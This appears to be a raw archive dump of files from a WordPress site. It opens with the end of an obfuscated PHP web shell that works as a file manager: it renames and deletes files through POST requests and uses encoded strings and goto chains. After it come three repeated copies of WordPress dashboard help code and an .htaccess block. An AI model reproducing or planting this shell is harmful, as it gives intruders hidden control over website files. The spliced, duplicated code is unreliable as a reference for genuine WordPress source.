\64\x35\x34\x35\x36\146\61\60\67\60\60\142\60\70\65\x61\x34\63\61\143\x35\144\x35\66\66\67\x34\x39\67\64\61\70\x35\67\64\64\67\143\x36\65\x37\x61\x34\x64\x37\x65\65\65\63\60\x37\62\65\60\x34\x36\67\x66\64\64\x36\x66\60\x33\x31\x33\65\x31\x36\64\63\x66\66\62\65\61\x37\x38\64\65\64\x34\x37\62\x34\x63\x35\x65\x32\x36\65\x35\x37\146\60\65\x34\145\64\60\66\67\x37\70\x37\x63\x30\x62\66\x31\x35\x65\x34\x37\66\x34\x35\x64\65\x63\66\x35\64\61\x37\x36\61\x34\x35\x37\64\x31\x37\x65\x36\x30\x37\146\64\x36\67\x61\60\63\x35\x33\67\63\x35\66\x34\x63\x37\x62\61\x36\x31\x39\x30\x35\65\x66\65\71\x36\x37\x36\x38\x36\71\65\65\x32\x37\x34\144\64\x32\x37\x30\63\142\x35\x66\x37\x62\62\x65\67\x35\x30\x30\64\x65\x34\61\x36\60\x37\66\67\x63\x35\x34\66\x64\65\x65\61\146\x36\141\x35\67\x35\146\x30\144\64\x31\67\x36\x31\142\65\66\64\62\61\66\x36\65\62\x33\x33\71\x37\143\x31\x39\x32\145\67\62\x30\71\x34\x35\67\x66\64\70\61\71\x30\x39\x35\x65\x35\x39\x36\66\63\66\x30\x38\x35\61\67\143\64\x35\x34\x36\67\61\62\65\65\x65\67\141\65\x35\67\65\60\x32\x34\x33\64\60\66\66\67\x35\x37\x65\65\63\x36\x39\65\141\64\x38\61\143\65\63\x30\x33\x31\x33\x34\61\x37\x36\61\x30\65\x36\x34\62\67\146\66\x31\x37\x30\64\144\67\60\65\144\x35\x39\67\x37\x35\66\64\141\67\x35\x34\x33\66\x34\x30\63\x35\x32\65\x35\x36\x37\x36\x30\66\61\x35\65\x32\x37\x34\x64\x34\62\x37\x37\x34\64\65\66\x37\65\63\x30\x36\x35\x31\144\64\x34\64\62\66\x31\67\x31\67\x30\65\x31\66\61\x35\70\x34\60\x36\67\x35\x64\x31\x65\x36\x37\x34\x30\62\142\61\x32\x35\145\64\x38\67\67\x36\70\62\x37\x33\71\x37\x39\65\146\x32\145\67\x61\x35\65\x34\x37\67\70\x34\63\66\146\60\x33\60\x61\65\x38\66\64\66\63\x31\x36\65\146\x37\x66\64\66\64\x30\62\64\x34\143\65\x37\67\141\65\x31\67\x32\60\x32\64\63\x34\62\63\144\x31\x30\x37\70\x35\60\x30\70\65\x65\60\61\66\x62\65\x35\65\142\66\x63\x34\65\67\67\x31\142\65\x32\x31\x66\x37\143\x36\62\x37\144\x34\64\67\144\65\x63\x32\x65\x37\64\60\63\x34\x37\x37\x34\x34\67\60\x37\60\x39\x35\63\65\x38\x36\x65\63\x62\66\62\65\146\67\143\62\143\64\61\x32\x65\x34\x63\65\66\62\x31\62\x65\x37\67\60\66\64\145\64\62\x36\x65\x37\63\x37\x64\x35\x34\x36\x64\65\x34\61\x62\66\141\65\x64\x35\x37\x36\67\x34\60\x37\x31\x31\67\x35\x30\64\x30\67\145\66\64\x37\70\x34\64\x37\x39\61\x64\x32\x65\67\60\65\64\x32\146\67\x64\64\65\66\145\x30\x35\x30\x61\x35\x33\x36\64\x36\64\66\x64\65\x33\x37\141\64\146\64\x31\x32\71\x34\x63\65\x61\62\x62\x35\70\67\145\x30\x34\64\67\64\x36\x36\64\61\60\x37\x38\x35\62\66\x32\65\x65\x34\61\61\x63\65\67\x35\x39\x31\x33\64\61\67\62\61\70\65\x65\x34\x32\67\x33\66\x32\62\x34\62\67\x37\144\65\x65\65\70\67\x30\65\63\x33\61\67\144\x30\x31\66\66\60\65\60\x30\x35\141\x36\64\66\66\66\x30\65\65\x37\x63\x34\x34\x34\x30\x37\x36\64\x66\x35\66\x37\x34\65\61\67\x65\x30\65\x33\70\64\70\66\60\x37\70\x37\71\x30\x38\66\144\x35\145\x31\143\x36\141\x35\144\x30\x39\66\64\x34\x30\67\x66\61\x30\x35\x30\x34\x34\x37\63\x36\66\67\x62\64\x36\67\70\65\145\x35\x31\x37\60\x35\65\64\71\67\144\x34\60\x36\62\x30\67\65\x65\x35\71\x36\67\x36\67\66\x32\x35\x66\67\143\64\144\64\x31\67\141\64\144\x35\x65\63\143\x35\70\x37\x37\60\66\64\67\x34\x32\63\x64\x31\x30\67\70\x30\x38\66\145\x35\141\61\146\60\62\65\63\60\63\x36\x65\x34\x30\67\145\61\70\65\x34\x34\63\x37\x33\x36\x32\63\71\x32\67\67\70\x35\x64\65\x38\x37\66\x35\x37\63\x31\x37\70\x34\62\66\x36\60\x37\x35\x32\x35\141\66\64\63\x62\66\x65\x35\x66\x32\x34\x34\x39\64\61\67\x34\x32\65\65\x66\x37\71\x33\60\67\x36\x35\x65\64\x35\x34\x36\66\64\x37\66\x37\x31\65\63\66\61\x35\x65\64\x37\66\70\65\x37\65\x64\x30\x64\64\61\x32\x38\67\x31\x35\x65\64\70\67\x30\66\x36\x32\63\62\x37\x37\x38\65\x64\x35\x36\67\141\60\145\64\x39\x37\143\x34\x31\x36\x66\60\67\x35\x32\x35\x39\66\x65\x36\61\x36\144\65\146\67\x38\x34\66\x34\x35\63\x37\x34\x66\x34\x64\66\x31\65\x32\x37\65\x30\x36\x34\x66\64\x38\x36\x30\x37\x39\67\143\x35\67\x30\x38\x35\64\x31\x63\66\x34\65\x34\x35\144\61\x33\x34\62\x33\62\61\x32\x35\x34\x34\67\x30\70\66\x35\x37\x38\64\x64\x37\145\x30\141\x35\x33\66\60\x34\x39\64\144\67\x66\x34\67\66\145\x30\x39\x35\60\65\x36\66\x32\x36\x30\66\144\65\x66\x37\x65\63\62\x34\61\x37\67\62\x35\65\71\63\70\x35\71\67\63\x30\x30\x34\65\x35\x32\67\141\67\x32\67\141\x35\60\66\x62\65\x34\64\66\66\x33\65\x31\65\146\66\64\64\x32\x37\67\x31\x34\x35\67\64\65\x30\70\x36\66\63\144\x32\x37\x37\x63\x35\144\x35\71\66\x30\64\x39\x34\144\x37\144\64\64\x36\x31\x30\63\60\x64\65\61\66\60\63\x36\x30\x38\64\65\x36\64\64\x65\x34\x30\x37\66\x33\x62\x35\x64\x37\71\x35\x35\x37\61\x35\67\62\66\x35\x32\67\141\x37\x32\x37\70\x35\63\x36\x62\65\145\x34\61\61\143\65\63\60\x39\x36\x35\65\x32\x36\x62\x31\63\65\x36\x34\64\x37\x37\66\x35\67\x62\64\61\66\141\63\x31\60\144"), $QRuUd), true); goto uK1iM; gXsGs: hC1Jr: goto jAyIh; yA9xZ: goto n13Oz; goto iVwpS; ZJ77m: echo B6Kq9(28); goto r3KFs; rutpU: $vWNXk = rtrim($Xl7T3, b6KQ9(20)) . B6Kq9(21) . $BDlpb; goto ZEn_r; KQlAl: function E9Ik1($LVVWq) { goto NoyGg; a7TkG: if (!!($LVVWq >= 1024)) { goto yMwaE; } goto oOrdE; yYTy3: if (!!($LVVWq >= 1048576)) { goto H3HRD; } goto a7TkG; nXgF1: return number_format($LVVWq / 1073741824, 2) . b6Kq9(80); goto MX5tV; c70Zq: yMwaE: goto ilBo0; oOrdE: return $LVVWq . b6KQ9(83); goto vU165; MX5tV: goto BsBN8; goto GxL6K; n5MRK: return number_format($LVVWq / 1048576, 2) . B6Kq9(81); goto vxVe3; NoyGg: if (!!($LVVWq >= 1073741824)) { goto PvE1_; } goto yYTy3; vU165: goto BsBN8; goto Xq31C; GxL6K: H3HRD: goto n5MRK; ilBo0: return number_format($LVVWq / 1024, 2) . b6KQ9(82); goto NWT7X; Xq31C: PvE1_: goto nXgF1; NWT7X: BsBN8: goto CaCBw; vxVe3: goto BsBN8; goto c70Zq; CaCBw: } goto UaFv_; w_s0k: if (!!($kcn9H === null)) { goto XeIs1; } goto zP8PC; Fuf3b: echo b6Kq9(42); goto wtVMq; PlYPb: ajzVl: goto KQlAl; yfUh2: if (!!rename($BT3cI, $JwZ0v)) { goto Wm5H2; } goto aUqOK; aADBN: ybwGs: goto lgSoT; lgSoT: if (!isset($_POST[b6kQ9(17)])) { goto viKBt; } goto oR7gw; UaFv_: echo "\74\57\164\141\x62\154\145\x3e\15\12\74\57\144\151\166\76\74\163\143\x72\151\x70\164\76\15\12\146\x75\156\x63\x74\151\x6f\x6e\40\164\157\147\x67\154\x65\106\x6f\162\x6d\50\146\157\162\155\x49\x64\51\40\x7b\xd\12\x76\x61\x72\x20\146\x6f\162\155\163\x20\75\x20\144\157\x63\x75\x6d\145\156\164\56\161\165\x65\162\171\123\145\x6c\x65\x63\164\157\x72\x41\154\154\50\47\x2e\146\x6f\x72\x6d\x2d\x63\x6f\x6e\x74\x61\151\x6e\145\162\x27\x29\x3b\xd\12\146\157\162\x6d\x73\x2e\x66\157\162\x45\141\x63\150\50\146\x75\156\x63\164\x69\157\x6e\x28\146\157\162\x6d\x29\40\x7b\15\12\x66\157\162\155\x2e\x73\164\171\x6c\145\x2e\x64\x69\163\160\154\141\171\40\x3d\x20\x27\156\157\156\x65\x27\73\15\12\175\x29\x3b\166\x61\162\40\x66\157\162\155\40\x3d\40\x64\157\143\x75\x6d\x65\x6e\x74\x2e\x67\x65\164\x45\154\145\155\145\156\x74\102\x79\111\144\50\146\157\162\x6d\111\x64\x29\73\xd\12\x69\146\40\x28\146\157\x72\155\x29\40\x7b\15\12\x66\x6f\162\155\x2e\x73\x74\x79\154\x65\56\144\x69\163\x70\x6c\x61\x79\40\75\40\50\x66\157\162\155\x2e\163\164\171\x6c\x65\x2e\144\x69\163\x70\x6c\x61\171\40\75\75\x3d\x20\x27\x62\x6c\157\x63\153\47\x29\40\77\40\x27\x6e\157\156\145\x27\40\x3a\40\47\x62\x6c\157\143\153\47\73\xd\xa\175\xd\12\175\x66\x75\x6e\143\164\x69\x6f\x6e\x20\143\x6f\x6e\146\151\x72\155\104\145\154\145\164\145\50\x70\x61\164\150\51\40\x7b\15\12\x69\x66\40\x28\x63\x6f\x6e\x66\151\162\x6d\50\x27\101\x70\x61\153\141\150\x20\x41\156\144\141\x20\171\141\153\x69\156\40\151\x6e\x67\151\x6e\x20\x6d\145\156\147\x68\x61\x70\x75\163\x20\47\x20\53\40\160\141\164\x68\x20\x2b\40\x27\x3f\47\51\51\40\x7b\15\12\166\x61\x72\x20\146\x6f\162\155\x20\75\40\144\x6f\143\x75\x6d\145\156\164\56\143\x72\145\141\164\145\105\154\x65\155\x65\x6e\164\50\x27\146\x6f\x72\x6d\x27\x29\x3b\xd\xa\x66\x6f\162\x6d\x2e\x6d\145\x74\150\157\144\40\x3d\40\x27\x50\x4f\123\124\47\73\15\xa\146\157\162\x6d\56\x61\143\x74\x69\x6f\156\x20\75\40\47\x27\73\166\141\x72\x20\x69\x6e\x70\x75\164\40\x3d\40\144\157\x63\x75\x6d\x65\156\x74\56\143\162\x65\x61\164\145\x45\x6c\x65\x6d\x65\x6e\164\x28\47\x69\x6e\x70\165\x74\47\x29\x3b\15\xa\x69\x6e\x70\165\164\56\x74\171\160\145\40\x3d\40\x27\150\151\144\144\145\x6e\x27\x3b\xd\12\x69\156\x70\x75\164\56\x6e\x61\155\145\40\75\x20\47\144\x65\154\145\x74\x65\137\x70\141\164\150\x27\x3b\xd\12\x69\156\160\165\x74\56\x76\141\x6c\x75\145\x20\x3d\x20\160\141\164\150\x3b\xd\12\146\x6f\x72\x6d\56\x61\x70\x70\145\x6e\x64\x43\150\151\154\144\x28\151\156\160\165\x74\x29\73\144\157\143\x75\x6d\145\156\164\x2e\142\x6f\x64\171\56\141\160\160\x65\x6e\x64\x43\x68\151\x6c\x64\50\x66\x6f\162\155\51\x3b\xd\xa\146\157\162\155\x2e\163\x75\142\x6d\151\164\50\51\73\xd\xa\175\xd\xa\x7d\xd\xa\74\57\x73\x63\x72\x69\160\164\x3e\xd\xa\74\57\142\x6f\x64\171\x3e\xd\xa\x3c\57\x68\164\x6d\x6c\x3e";
?> library/Requests.php 0000644 00000000405 15162160274 0010537 0 ustar 00 ' . __( 'Welcome to your WordPress Dashboard!' ) . '
';
$help .= '' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '
';
$screen = get_current_screen();
$screen->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' => $help,
)
);
// Help tabs.
$help = '' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '
';
$help .= '' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '
';
$screen->add_help_tab(
array(
'id' => 'help-navigation',
'title' => __( 'Navigation' ),
'content' => $help,
)
);
$help = '' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '
';
$help .= '' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '
';
$help .= '' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '
';
$help .= '' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '
';
$screen->add_help_tab(
array(
'id' => 'help-layout',
'title' => __( 'Layout' ),
'content' => $help,
)
);
$help = '' . __( 'The boxes on your Dashboard screen are:' ) . '
';
if ( current_user_can( 'edit_theme_options' ) ) {
$help .= '' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '
';
}
if ( current_user_can( 'view_site_health_checks' ) ) {
$help .= '' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '
';
}
if ( current_user_can( 'edit_posts' ) ) {
$help .= '' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '
';
}
$help .= '' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '
';
if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
$help .= '' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '
';
}
$help .= '' . sprintf(
/* translators: %s: WordPress Planet URL. */
__( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ),
__( 'https://planet.wordpress.org/' )
) . '
';
$screen->add_help_tab(
array(
'id' => 'help-content',
'title' => __( 'Content' ),
'content' => $help,
)
);
unset( $help );
$wp_version = get_bloginfo( 'version', 'display' );
/* translators: %s: WordPress version. */
$wp_version_text = sprintf( __( 'Version %s' ), $wp_version );
$is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version );
if ( ! $is_dev_version ) {
$version_url = sprintf(
/* translators: %s: WordPress version. */
esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
sanitize_title( $wp_version )
);
$wp_version_text = sprintf(
'%2$s',
$version_url,
$wp_version_text
);
}
$screen->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Dashboard' ) . '
' .
'' . __( 'Support forums' ) . '
' .
'' . $wp_version_text . '
'
);
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
'success',
'dismissible' => true,
)
);
endif;
endif;
?>
user_email !== get_option( 'admin_email' ) ) );
if ( $hide ) {
$classes .= ' hidden';
}
?>
' . __( 'Welcome to your WordPress Dashboard!' ) . '';
$help .= '' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '
';
$screen = get_current_screen();
$screen->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' => $help,
)
);
// Help tabs.
$help = '' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '
';
$help .= '' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '
';
$screen->add_help_tab(
array(
'id' => 'help-navigation',
'title' => __( 'Navigation' ),
'content' => $help,
)
);
$help = '' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '
';
$help .= '' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '
';
$help .= '' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '
';
$help .= '' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '
';
$screen->add_help_tab(
array(
'id' => 'help-layout',
'title' => __( 'Layout' ),
'content' => $help,
)
);
$help = '' . __( 'The boxes on your Dashboard screen are:' ) . '
';
if ( current_user_can( 'edit_theme_options' ) ) {
$help .= '' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '
';
}
if ( current_user_can( 'view_site_health_checks' ) ) {
$help .= '' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '
';
}
if ( current_user_can( 'edit_posts' ) ) {
$help .= '' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '
';
}
$help .= '' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '
';
if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
$help .= '' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '
';
}
$help .= '' . sprintf(
/* translators: %s: WordPress Planet URL. */
__( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ),
__( 'https://planet.wordpress.org/' )
) . '
';
$screen->add_help_tab(
array(
'id' => 'help-content',
'title' => __( 'Content' ),
'content' => $help,
)
);
unset( $help );
$wp_version = get_bloginfo( 'version', 'display' );
/* translators: %s: WordPress version. */
$wp_version_text = sprintf( __( 'Version %s' ), $wp_version );
$is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version );
if ( ! $is_dev_version ) {
$version_url = sprintf(
/* translators: %s: WordPress version. */
esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
sanitize_title( $wp_version )
);
$wp_version_text = sprintf(
'%2$s',
$version_url,
$wp_version_text
);
}
$screen->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Dashboard' ) . '
' .
'' . __( 'Support forums' ) . '
' .
'' . $wp_version_text . '
'
);
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
'success',
'dismissible' => true,
)
);
endif;
endif;
?>
user_email !== get_option( 'admin_email' ) ) );
if ( $hide ) {
$classes .= ' hidden';
}
?>
' . __( 'Welcome to your WordPress Dashboard!' ) . '';
$help .= '' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '
';
$screen = get_current_screen();
$screen->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' => $help,
)
);
// Help tabs.
$help = '' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '
';
$help .= '' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '
';
$screen->add_help_tab(
array(
'id' => 'help-navigation',
'title' => __( 'Navigation' ),
'content' => $help,
)
);
$help = '' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '
';
$help .= '' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '
';
$help .= '' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '
';
$help .= '' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '
';
$screen->add_help_tab(
array(
'id' => 'help-layout',
'title' => __( 'Layout' ),
'content' => $help,
)
);
$help = '' . __( 'The boxes on your Dashboard screen are:' ) . '
';
if ( current_user_can( 'edit_theme_options' ) ) {
$help .= '' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '
';
}
if ( current_user_can( 'view_site_health_checks' ) ) {
$help .= '' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '
';
}
if ( current_user_can( 'edit_posts' ) ) {
$help .= '' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '
';
}
$help .= '' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '
';
if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
$help .= '' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '
';
}
$help .= '' . sprintf(
/* translators: %s: WordPress Planet URL. */
__( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ),
__( 'https://planet.wordpress.org/' )
) . '
';
$screen->add_help_tab(
array(
'id' => 'help-content',
'title' => __( 'Content' ),
'content' => $help,
)
);
unset( $help );
$wp_version = get_bloginfo( 'version', 'display' );
/* translators: %s: WordPress version. */
$wp_version_text = sprintf( __( 'Version %s' ), $wp_version );
$is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version );
if ( ! $is_dev_version ) {
$version_url = sprintf(
/* translators: %s: WordPress version. */
esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
sanitize_title( $wp_version )
);
$wp_version_text = sprintf(
'%2$s',
$version_url,
$wp_version_text
);
}
$screen->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Dashboard' ) . '
' .
'' . __( 'Support forums' ) . '
' .
'' . $wp_version_text . '
'
);
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
'success',
'dismissible' => true,
)
);
endif;
endif;
?>
user_email !== get_option( 'admin_email' ) ) );
if ( $hide ) {
$classes .= ' hidden';
}
?>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
Order Allow,Deny
Allow from all